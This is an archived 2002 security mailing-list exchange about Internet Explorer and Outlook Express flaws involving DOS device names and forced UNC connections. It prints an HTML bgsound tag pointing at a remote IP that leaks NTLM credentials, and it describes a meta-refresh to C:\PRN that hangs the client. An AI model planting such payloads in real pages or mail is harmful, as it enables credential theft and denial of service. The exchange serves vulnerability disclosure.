Re[2]: dH team & SECURITY.NNOV: special device access, information leakage and DoS in Outlook Express

2002-05-17T00:00:00
ID SECURITYVULNS:DOC:2950
Type securityvulns
Reporter Securityvulns
Modified 2002-05-17T00:00:00

Description

Dear Chad Loder,

You're right! <bgsound src=3D"\\111.111.111.111\new\file.wav"> causes IE to connect to 111.111.111.111 via NetBT. Depending on LMCompatibilityLevel it may cause user's cleartext password or NTLMv1 challenge to leak. It's very serious bug.

--Friday, May 17, 2002, 1:38:16 PM, you wrote to error@pochtamt.ru:

CL> At Wednesday 5/15/2002 03:11 PM +0400, you wrote:

>> Title: Special device access and DoS in Microsoft Internet >> Exporer/Outlook Express/Outlook >> >> All versions of Windows have a reserved filenames referred to special >> devices such as prn, aux, nul, etc also called DOS devices.

CL> This might be related to a vulnerability that was reported to Microsoft CL> on Mar 7 2001. See the BugTraq post:

CL> http://online.securityfocus.com/archive/1/197926

CL> The META HTTP-EQUIV=REFRESH tag used to do the trick CL> from Outlook and other email clients using the MS CL> HTML viewer (e.g. Eudora). Redirecting to file://C:\PRN CL> was sufficient to hang the browser or email client.

CL> Microsoft assigned the following internal tracking CL> number to the issue: "MSRC 673au", and fixed it in CL> MS00-17. Obviously they didn't do a good enough CL> job, since you guys found a way to print files, etc. :)

CL> Another scary thing is that you can cause the computer to connect CL> to arbitrary UNC paths, which as you know, involves sending CL> NetBIOS credentials over the wire (a good reason to use egress CL> filtering).

CL> +-------------------------------- CL> Chad Loder <chad@rapid7.com> CL> Rapid 7, Inc. CL> <http://www.rapid7.com> CL> +--------------------------------

-- ~/ZARAZA Существую лишь я сам, никуда не летя. (Лем)